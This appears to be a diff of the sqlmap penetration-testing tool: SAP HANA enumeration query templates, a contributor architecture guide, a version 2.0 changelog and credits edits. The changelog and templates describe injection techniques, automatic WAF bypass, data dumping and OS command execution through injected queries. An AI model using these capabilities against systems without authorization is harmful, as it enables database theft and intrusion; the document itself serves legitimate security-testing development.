<blind query="SELECT COLUMN_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" query2="SELECT DATA_TYPE_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND SCHEMA_NAME='%s'" count="SELECT COUNT(*) FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s'" condition="column_name"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s.%s"/>
|
||||||
|
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
|
</dump_table>
|
||||||
|
<search_db>
|
||||||
|
<inband query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS WHERE %s" condition="schema_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.SCHEMAS WHERE %s ORDER BY SCHEMA_NAME" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.SCHEMAS WHERE %s" condition="schema_name"/>
|
||||||
|
</search_db>
|
||||||
|
<search_table>
|
||||||
|
<inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.TABLES WHERE %s" condition="table_name" condition2="schema_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.TABLES WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT TABLE_NAME FROM SYS.TABLES WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.TABLES WHERE %s" count2="SELECT COUNT(*) FROM SYS.TABLES WHERE SCHEMA_NAME='%s'" condition="table_name" condition2="schema_name"/>
|
||||||
|
</search_table>
|
||||||
|
<search_column>
|
||||||
|
<inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.COLUMNS WHERE %s" condition="column_name" condition2="schema_name" condition3="table_name"/>
|
||||||
|
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.COLUMNS WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.COLUMNS WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.COLUMNS WHERE SCHEMA_NAME='%s'" condition="column_name" condition2="schema_name" condition3="table_name"/>
|
||||||
|
</search_column>
|
||||||
|
</dbms>
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -0,0 +1,255 @@
|
|||||||
|
# sqlmap architecture
|
||||||
|
|
||||||
|
A contributor-oriented map of how sqlmap is put together: the major components,
|
||||||
|
how a run flows through them, and where to start looking for a given concern.
|
||||||
|
|
||||||
|
> This is a map, not a spec. It describes the durable structure and data flow; for
|
||||||
|
> exact signatures, option names, and enumerable lists (tampers, DBMSes, options),
|
||||||
|
> the source is authoritative. **When this document disagrees with the code, the code wins.**
|
||||||
|
|
||||||
|
sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal
|
||||||
|
non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and
|
||||||
|
`thirdparty/six`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Entry points
|
||||||
|
|
||||||
|
| Entry | File | Purpose |
|
||||||
|
|-------|------|---------|
|
||||||
|
| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. |
|
||||||
|
| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. |
|
||||||
|
| Library | `import sqlmap` -> `lib/utils/library.py` | `scan()` / `scanFromRequest()` for programmatic callers; like the API, it drives the engine as a subprocess. |
|
||||||
|
|
||||||
|
`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for
|
||||||
|
quirks/security - see below), `setPaths()`, `init()` (option parsing + environment
|
||||||
|
setup), then dispatches to `start()` for a normal scan, or to the self-tests
|
||||||
|
(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Global state: `conf` and `kb`
|
||||||
|
|
||||||
|
Almost everything hangs off two process-global singletons defined in `lib/core/data.py`,
|
||||||
|
both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`):
|
||||||
|
|
||||||
|
- **`conf`** - the resolved user configuration (options + derived settings). What the
|
||||||
|
user asked for.
|
||||||
|
- **`kb`** ("knowledge base") - mutable runtime state discovered during a run
|
||||||
|
(identified DBMS, injection points, page templates, caches, locks, counters).
|
||||||
|
|
||||||
|
The configuration pipeline (`lib/core/`):
|
||||||
|
|
||||||
|
- `parse/cmdline.py` - argparse definition of every CLI option.
|
||||||
|
- `core/optiondict.py` - option name -> type map (used for config-file/API coercion).
|
||||||
|
- `core/defaults.py` - default values.
|
||||||
|
- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`,
|
||||||
|
`_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding
|
||||||
|
setup, etc. Merges CLI + config file + defaults into `conf`/`kb`.
|
||||||
|
- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.**
|
||||||
|
|
||||||
|
Identifiers in the codebase are camelCase.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Top-level layout
|
||||||
|
|
||||||
|
| Path | Responsibility |
|
||||||
|
|------|----------------|
|
||||||
|
| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing |
|
||||||
|
| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) |
|
||||||
|
| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing |
|
||||||
|
| `lib/techniques/` | the exploitation engines: `blind/{inference,multibit}.py`, `error/use.py`, `union/{test,use}.py`, `dns/`, plus one directory per non-SQL family (`ssti/`, `nosql/`, `xpath/`, ...) |
|
||||||
|
| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) |
|
||||||
|
| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... |
|
||||||
|
| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` |
|
||||||
|
| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes |
|
||||||
|
| `plugins/dbms/<dbms>/` | per-DBMS subclasses + dialect (one dir per supported DBMS) |
|
||||||
|
| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file |
|
||||||
|
| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` |
|
||||||
|
| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) |
|
||||||
|
| `tests/` | stdlib-unittest suite (offline); see section 11 |
|
||||||
|
| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime |
|
||||||
|
| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. The scan lifecycle (`lib/controller/controller.py: start()`)
|
||||||
|
|
||||||
|
For each target:
|
||||||
|
|
||||||
|
1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`):
|
||||||
|
resolve URL/params, open the per-target output dir and session file
|
||||||
|
(`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points,
|
||||||
|
cached values) from the session.
|
||||||
|
2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`,
|
||||||
|
`checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` /
|
||||||
|
dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`).
|
||||||
|
3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint).
|
||||||
|
4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by
|
||||||
|
the data engine (section 5). Confirmed points are appended to `kb.injections`.
|
||||||
|
5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the
|
||||||
|
back-end DBMS and assigns `conf.dbmsHandler`, the object through which all
|
||||||
|
enumeration is dispatched (section 7).
|
||||||
|
6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation
|
||||||
|
(`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to
|
||||||
|
`conf.dbmsHandler` methods, and feeds results to `conf.dumper`.
|
||||||
|
|
||||||
|
If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`,
|
||||||
|
`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as
|
||||||
|
`SqlmapNotVulnerableException`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. The data-driven detection engine
|
||||||
|
|
||||||
|
Detection behavior lives in **data, not code** - `data/xml/`, loaded by
|
||||||
|
`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`):
|
||||||
|
|
||||||
|
- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the
|
||||||
|
clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts).
|
||||||
|
- **`payloads/*.xml`** - the *tests*, one file per technique
|
||||||
|
(`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`,
|
||||||
|
`union_query`), each with the request template and the comparison/grep logic that
|
||||||
|
decides success.
|
||||||
|
|
||||||
|
`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the
|
||||||
|
identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`)
|
||||||
|
forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/
|
||||||
|
`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via
|
||||||
|
`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false
|
||||||
|
by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`,
|
||||||
|
plus titles/errors/HTTP-code signals).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Exploitation techniques
|
||||||
|
|
||||||
|
Once a parameter is injectable, value extraction is dispatched by
|
||||||
|
`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`:
|
||||||
|
|
||||||
|
| Technique | Engine | Mechanism |
|
||||||
|
|-----------|--------|-----------|
|
||||||
|
| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle |
|
||||||
|
| multi-bit blind (`--multi-bit`) | `blind/multibit.py` | opt-in; reads several bits per request out of the rows a listing page renders |
|
||||||
|
| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay |
|
||||||
|
| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error |
|
||||||
|
| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction |
|
||||||
|
| inline query | (inline, via inject) | value embedded in the original query position |
|
||||||
|
| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel |
|
||||||
|
|
||||||
|
`bisection()` is the hot loop; it caches the `--charset` table in
|
||||||
|
`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch
|
||||||
|
(intentional). Multi-threaded extraction is coordinated via `kb.locks` and
|
||||||
|
`getCurrentThreadData()` (`lib/core/threads.py`).
|
||||||
|
|
||||||
|
**Non-SQL engines.** `--nosql`, `--xpath`, `--ldap`, `--ssti`, `--graphql`, `--hql`, `--sparql`,
|
||||||
|
`--odata`, `--xslt`, `--xxe` and `--jwt` do not go through the pipeline above at all. Each one is a
|
||||||
|
self-contained scanner in `lib/techniques/<family>/inject.py`, dispatched from `controller.py` and
|
||||||
|
registered once in `NONSQL_TECHNIQUES` (`lib/core/settings.py`) - that tuple is what the rest of the
|
||||||
|
code tests against, so a new family is declared there and nowhere else. The response comparison,
|
||||||
|
reflection stripping and blind-bit classification they all need live in `lib/utils/nonsql.py`
|
||||||
|
instead of being copied per family.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. DBMS abstraction
|
||||||
|
|
||||||
|
Enumeration is DBMS-agnostic at the top and specialized underneath:
|
||||||
|
|
||||||
|
- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`,
|
||||||
|
`enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`,
|
||||||
|
`takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py`
|
||||||
|
(direct DB connection for `-d`).
|
||||||
|
- **`plugins/dbms/<dbms>/`** - one directory per supported DBMS, subclassing the generic
|
||||||
|
pieces and supplying dialect specifics.
|
||||||
|
- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table
|
||||||
|
enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name;
|
||||||
|
the dialect comes from XML. It also carries the per-DBMS `<gadgets>` - side-effecting scalar
|
||||||
|
expressions (e.g. PostgreSQL `dblink_exec`) that `getGadget()` (`lib/request/inject.py`) probes
|
||||||
|
once and caches in `kb.gadget`, so `--sql-query` / `--file-write` / `--os-cmd` still work from an
|
||||||
|
injection point that has no stacked queries.
|
||||||
|
|
||||||
|
`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Output and session
|
||||||
|
|
||||||
|
- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables
|
||||||
|
plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging
|
||||||
|
is via `logger` (`lib/core/log.py`).
|
||||||
|
- **Session / resume** - each target gets a SQLite session file
|
||||||
|
(`<output>/<host>/session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()`
|
||||||
|
(`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points,
|
||||||
|
fingerprint, and extracted values so a re-run *resumes* instead of re-testing
|
||||||
|
(`--flush-session` discards it; `--fresh-queries` ignores cached query results). A
|
||||||
|
stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Request layer and tampering
|
||||||
|
|
||||||
|
`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it:
|
||||||
|
protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`,
|
||||||
|
persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the
|
||||||
|
comparison oracle (`comparison.py`). Alternative transports hang off the same chokepoint: the
|
||||||
|
standard-library HTTP/2 client (`http2.py`, `--http2`, which also carries the `--timeless` oracle in
|
||||||
|
`timeless.py`) and WebSocket targets (`websocket.py`).
|
||||||
|
|
||||||
|
**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS.
|
||||||
|
Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c`
|
||||||
|
chains them in priority order. They are payload-string transforms only (no engine
|
||||||
|
coupling), which is why they compose freely. When a WAF/IPS is identified, `lib/utils/wafbypass.py`
|
||||||
|
ranks the plausible candidates and `_autoWafBypass()` (`controller.py`) trials them one at a time -
|
||||||
|
a candidate is adopted only if re-running the detection through it brings the injection back.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. REST API and JSON report
|
||||||
|
|
||||||
|
`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as
|
||||||
|
subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry),
|
||||||
|
an IPC SQLite `Database` (the subprocess writes results/logs/errors back through
|
||||||
|
`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...).
|
||||||
|
The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`.
|
||||||
|
|
||||||
|
`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`)
|
||||||
|
that the `/scan/<id>/data` endpoint uses, so the CLI report and the API result can't
|
||||||
|
drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Tests and self-tests
|
||||||
|
|
||||||
|
Two complementary layers:
|
||||||
|
|
||||||
|
- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip),
|
||||||
|
green on py2 + py3. `_testutils.py` bootstraps global state and provides the
|
||||||
|
property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run:
|
||||||
|
`python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc`
|
||||||
|
makes a `getFileType(__file__)` doctest see `binary`).
|
||||||
|
- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test`
|
||||||
|
(doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against
|
||||||
|
the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow
|
||||||
|
(`.github/workflows/tests.yml`) runs all of these.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. "Where do I start for ...?"
|
||||||
|
|
||||||
|
| I want to change... | Start in |
|
||||||
|
|---------------------|----------|
|
||||||
|
| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) |
|
||||||
|
| a constant/threshold | `lib/core/settings.py` |
|
||||||
|
| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` |
|
||||||
|
| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine |
|
||||||
|
| a non-SQL technique (SSTI, NoSQL, XPath, ...) | `lib/techniques/<family>/inject.py` (+ `NONSQL_TECHNIQUES` in `settings.py`) |
|
||||||
|
| the true/false decision | `lib/request/comparison.py` |
|
||||||
|
| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms/<dbms>/` |
|
||||||
|
| enumeration behavior | `plugins/generic/*.py` |
|
||||||
|
| dump/output format | `lib/core/dump.py` |
|
||||||
|
| a WAF-bypass transform | add a file under `tamper/` |
|
||||||
|
| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) |
|
||||||
|
| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` |
|
||||||
|
| a stdlib monkey-patch / security shim | `lib/core/patch.py` |
|
||||||
@@ -1,3 +1,120 @@
|
|||||||
|
# Version 2.0 (WIP)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.10...master)
|
||||||
|
|
||||||
|
## Injection techniques
|
||||||
|
|
||||||
|
* Added the switch `--nosql`. It tests for NoSQL injection. It also dumps the data that it finds.
|
||||||
|
* Added the switch `--xpath`. It tests for XPath injection.
|
||||||
|
* Added the switch `--ldap`. It tests for LDAP injection.
|
||||||
|
* Added the switch `--ssti`. It tests for server-side template injection. It also covers Struts2 and OGNL.
|
||||||
|
* Added the switch `--graphql`. It tests for GraphQL injection.
|
||||||
|
* Added the switch `--hql`. It tests for HQL and JPQL (Hibernate ORM) injection.
|
||||||
|
* Added the switch `--sparql`. It tests for SPARQL injection in triple stores (Apache Jena, Virtuoso, Blazegraph, GraphDB). It confirms the finding with a SPARQL-only construct and then blindly dumps the predicates and the triple objects of the default graph.
|
||||||
|
* Added the switch `--odata`. It tests for OData `$filter` injection (Microsoft OData, Apache Olingo). It confirms the finding with an OData-only function, tells the version apart, and blindly dumps the entities, including the properties that the endpoint does not return.
|
||||||
|
* Added the switch `--xslt`. It tests for XSLT injection. The engine names itself in the response. sqlmap then dumps the XML document that the stylesheet transforms. It also reads the files that the engine can reach. When the engine exposes an extension bridge (PHP `php:function` or the Xalan `java:` namespace), sqlmap reads any file through it, and with `--os-cmd` or `--os-shell` it runs operating system commands.
|
||||||
|
* Added the switch `--xxe`. It tests for XML External Entity injection. It uses in-band, error-based, and out-of-band channels.
|
||||||
|
* Added the switch `--jwt`. It examines JSON Web Tokens for weak keys and for injection in the claims.
|
||||||
|
* sqlmap now offers to get around a WAF/IPS on its own. Once it identifies one and the ordinary payloads come back blocked, it drops the scanner fingerprint and tries the tamper scripts that suit that WAF, and it keeps the first one that brings the injection back.
|
||||||
|
|
||||||
|
## Speed
|
||||||
|
|
||||||
|
* Added the switch `--timeless`. It reads each blind bit from the HTTP/2 response order. It does not use a delay. sqlmap calibrates the target first, and it uses the usual time-based technique if the target is not applicable.
|
||||||
|
* Added the switch `--multi-bit`. On a page that renders rows, one request reads a bit from each row that comes back instead of a single bit altogether.
|
||||||
|
* Added set-membership (Huffman) retrieval for blind dumps. It needs fewer requests for each character. Use `--no-huffman` to stop it.
|
||||||
|
* Added keyset (seek) pagination for blind table dumps. Use `--no-keyset` to stop it.
|
||||||
|
* Added parallel retrieval of values in blind mode. Each thread retrieves a different value.
|
||||||
|
* Made Keep-Alive the default. Use the switch `--no-keep-alive` to stop it.
|
||||||
|
* Added the reuse of HTTP/2 connections.
|
||||||
|
* Added the switch `--lengths`. It compares the pages only by the content length.
|
||||||
|
* Made the HashDB operations faster.
|
||||||
|
* Made the tamper script `luanginxmore` much faster.
|
||||||
|
|
||||||
|
## Targets and results
|
||||||
|
|
||||||
|
* Added the option `--openapi`. It makes the list of targets from an OpenAPI or Swagger document. The options `--openapi-base` and `--openapi-tags` limit that list.
|
||||||
|
* Added the switch `--mine-params`. It finds hidden GET parameters.
|
||||||
|
* Added the switch `--proof`. It proves the exploitation of each injection point that it finds.
|
||||||
|
* Added the option `--report-json`. It writes the results of the run to a JSON file.
|
||||||
|
* Added the switch `--procs`. It retrieves the stored procedures and their source code.
|
||||||
|
* Added the option `--exclude`. It gives the databases that sqlmap must not enumerate.
|
||||||
|
* Added JSONL as a dump format.
|
||||||
|
* Added the use of sqlmap as a library.
|
||||||
|
* Added experimental support for gRPC-Web (text) requests.
|
||||||
|
* Improved the crawler. It now finds the endpoints in JavaScript files.
|
||||||
|
|
||||||
|
## Back-end DBMS
|
||||||
|
|
||||||
|
* Added support for SAP HANA.
|
||||||
|
* Added support for Snowflake.
|
||||||
|
* Added support for Google Cloud Spanner.
|
||||||
|
* Added support for DuckDB and Trino as forks.
|
||||||
|
* Added the switch `--esperanto`. It enumerates a back-end DBMS that sqlmap cannot identify.
|
||||||
|
* Added XQuery support to the switch `--xpath`. XQuery is a superset of XPath, so the same injection point gives more. On a back-end that supports it, sqlmap reads a file through `unparsed-text()`.
|
||||||
|
* Added error-based payloads for CUBRID, InterSystems Cache, Virtuoso, H2, Firebird, and Vertica.
|
||||||
|
* Added time-based payloads for CUBRID.
|
||||||
|
* Added out-of-band DNS channels for H2 and ClickHouse.
|
||||||
|
* Added PostgreSQL command execution through a PL extension.
|
||||||
|
* Added the running of non-query statements without stacked queries through a gadget. On PostgreSQL, when the `dblink` extension is there and the current user can run it, `--sql-query`, `--file-write`, `--os-cmd`, and `--os-shell` now work from a plain (e.g. boolean-based) injection point.
|
||||||
|
* Added file read and file write support for SQLite through the `fileio` extension functions `readfile` and `writefile`.
|
||||||
|
* Added the data access and the security type of a routine to the output of `--procs` on MySQL and PostgreSQL, so a routine that runs as its definer or that modifies data stands out.
|
||||||
|
* Added stacked query payloads for Microsoft SQL Server and Sybase that carry no semicolon, so a filtered semicolon alone no longer hides the technique.
|
||||||
|
* Added the error signatures that tell the MySQL and the PostgreSQL forks apart: Doris, StarRocks, CockroachDB, YugabyteDB, OpenGauss, DuckDB, and Trino. These forks keep the wording of the engine that they come from, so only a leaked driver package or an engine-internal source reference gives them away.
|
||||||
|
* Made the fingerprinting payloads friendlier to a WAF, so the version detection survives where it used to get blocked.
|
||||||
|
* Added the tamper scripts `blindbinary`, `castprefix`, `dollarquote`, `infoschema2innodb`, `mid2leftright`, `mssqlnosemicolon`, `odbcbrace`, `oraclequote`, `quote2ltat`, `sign`, `sleep2hex`, and `uniontable`.
|
||||||
|
|
||||||
|
## Fewer dependencies
|
||||||
|
|
||||||
|
* Added an HTTP/2 client. It uses only the standard library.
|
||||||
|
* Added WebSocket support. It uses only the standard library.
|
||||||
|
* Added the decoding of Brotli and Zstandard responses. It uses only the standard library.
|
||||||
|
* Added Kerberos and Negotiate authentication. It uses only the standard library.
|
||||||
|
* Added NTLM authentication. This removed a deprecated third-party library.
|
||||||
|
* Rewrote the Keep-Alive handler. This removed the third-party package `keepalive`.
|
||||||
|
* Removed the third-party packages `multipart`, `odict`, and `prettyprint`.
|
||||||
|
* Replaced SocksiPy with PySocks.
|
||||||
|
|
||||||
|
## Security
|
||||||
|
|
||||||
|
* Removed all use of `pickle`. sqlmap now uses JSON for the session data and for the other serialized data.
|
||||||
|
* The REST API now requires authentication credentials.
|
||||||
|
* Put the `eval` behavior behind the environment variable `SQLMAP_UNSAFE_EVAL`.
|
||||||
|
* Put the option `--alert` behind the environment variable `SQLMAP_UNSAFE_ALERT`.
|
||||||
|
* Hardened the Brotli and the Zstandard decoders against hostile input.
|
||||||
|
|
||||||
|
## Correctness
|
||||||
|
|
||||||
|
* Made the boolean inference more reliable when the network has much jitter.
|
||||||
|
* Added automatic recovery when the page charset and the data charset do not agree.
|
||||||
|
* sqlmap now finds binary fields automatically in blind mode.
|
||||||
|
* Added support for the response code 429 (rate limit).
|
||||||
|
* Corrected the retrieval of UTF8MB4 characters from MySQL.
|
||||||
|
* Corrected the Set-Cookie behavior in redirections. Added support for domain cookies.
|
||||||
|
* sqlmap now keeps the value of an injected Host header.
|
||||||
|
* Removed the time outliers from the time statistics.
|
||||||
|
* Improved the detection of the SQL dialect of the target.
|
||||||
|
* The switch `--xpath` no longer reports an injection when the page changes only because it shows the payload again. Reflection is not proof that an expression was evaluated.
|
||||||
|
* sqlmap now makes sure that the random markers around the retrieved data are all different. Two equal markers made the error-based technique give back the wrong character.
|
||||||
|
* Made the heuristic hints of the non-SQL switches exclusive. A signature no longer matches the errors of a different engine, an ordinary SQL error, or a page that only contains the name of a template engine.
|
||||||
|
* Corrected the GraphQL validation signatures. They now match the quotes in the way that the JSON body escapes them.
|
||||||
|
* Added the error signatures of Mako and of DynamoDB. sqlmap did not recognise the errors of these two back-ends.
|
||||||
|
* sqlmap no longer stops with an exception on a JWT whose signature is not valid base64url. Such a signature can not be an HMAC that sqlmap could verify, so it is reported as not crackable instead.
|
||||||
|
* Corrected the uppercasing of the keywords in the shown queries. A word that merely contains a keyword (e.g. a table named `selected`) and a keyword inside a quoted string are now left alone.
|
||||||
|
* Corrected the cracking of the old Oracle password hashes when the user name or the password does not come in as text.
|
||||||
|
* sqlmap now skips a UNION test whose request holds no character instead of stopping with an exception. Only a hand-edited `payloads/union_query.xml` can hold such a test.
|
||||||
|
* The gadget check now runs the gadget itself instead of only looking for the extension. A user that can not use it no longer gets a false success.
|
||||||
|
|
||||||
|
## Quality
|
||||||
|
|
||||||
|
* Added a unit test suite. It has more than 90 modules, and it runs on Python 2 and Python 3.
|
||||||
|
* Added pyflakes and more self-test stages to the CI/CD pipeline.
|
||||||
|
* Added `doc/ARCHITECTURE.md`.
|
||||||
|
|
||||||
|
# Version 1.10 (2026-01-01)
|
||||||
|
|
||||||
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/11?closed=1)
|
||||||
|
|
||||||
# Version 1.9 (2025-01-02)
|
# Version 1.9 (2025-01-02)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9)
|
||||||
|
|||||||
+7
-4
@@ -175,7 +175,7 @@ Ivan Giacomelli, <truemilk(at)insiberia.net>
|
|||||||
* for reviewing the documentation
|
* for reviewing the documentation
|
||||||
|
|
||||||
Dimitris Giannitsaros, <daremon(at)gmail.com>
|
Dimitris Giannitsaros, <daremon(at)gmail.com>
|
||||||
* for contributing a REST-JSON API client
|
* for contributing a REST API client
|
||||||
|
|
||||||
Nico Golde, <nico(at)ngolde.de>
|
Nico Golde, <nico(at)ngolde.de>
|
||||||
* for reporting a couple of bugs
|
* for reporting a couple of bugs
|
||||||
@@ -194,9 +194,6 @@ David Guimaraes, <skysbsb(at)gmail.com>
|
|||||||
* for reporting considerable amount of bugs
|
* for reporting considerable amount of bugs
|
||||||
* for suggesting several features
|
* for suggesting several features
|
||||||
|
|
||||||
Chris Hall, <chris.hall(at)mod10.net>
|
|
||||||
* for coding the prettyprint.py library
|
|
||||||
|
|
||||||
Tate Hansen, <tate(at)clearnetsec.com>
|
Tate Hansen, <tate(at)clearnetsec.com>
|
||||||
* for donating to sqlmap development
|
* for donating to sqlmap development
|
||||||
|
|
||||||
@@ -535,6 +532,9 @@ Duarte Silva <duarte.silva(at)serializing.me>
|
|||||||
M Simkin, <mlsimkin(at)cox.net>
|
M Simkin, <mlsimkin(at)cox.net>
|
||||||
* for suggesting a feature
|
* for suggesting a feature
|
||||||
|
|
||||||
|
Tanaydin Sirin, <tanaydinsirin(at)gmail.com>
|
||||||
|
* for implementation of ncurses TUI (switch --tui)
|
||||||
|
|
||||||
Konrads Smelkovs, <konrads(at)smelkovs.com>
|
Konrads Smelkovs, <konrads(at)smelkovs.com>
|
||||||
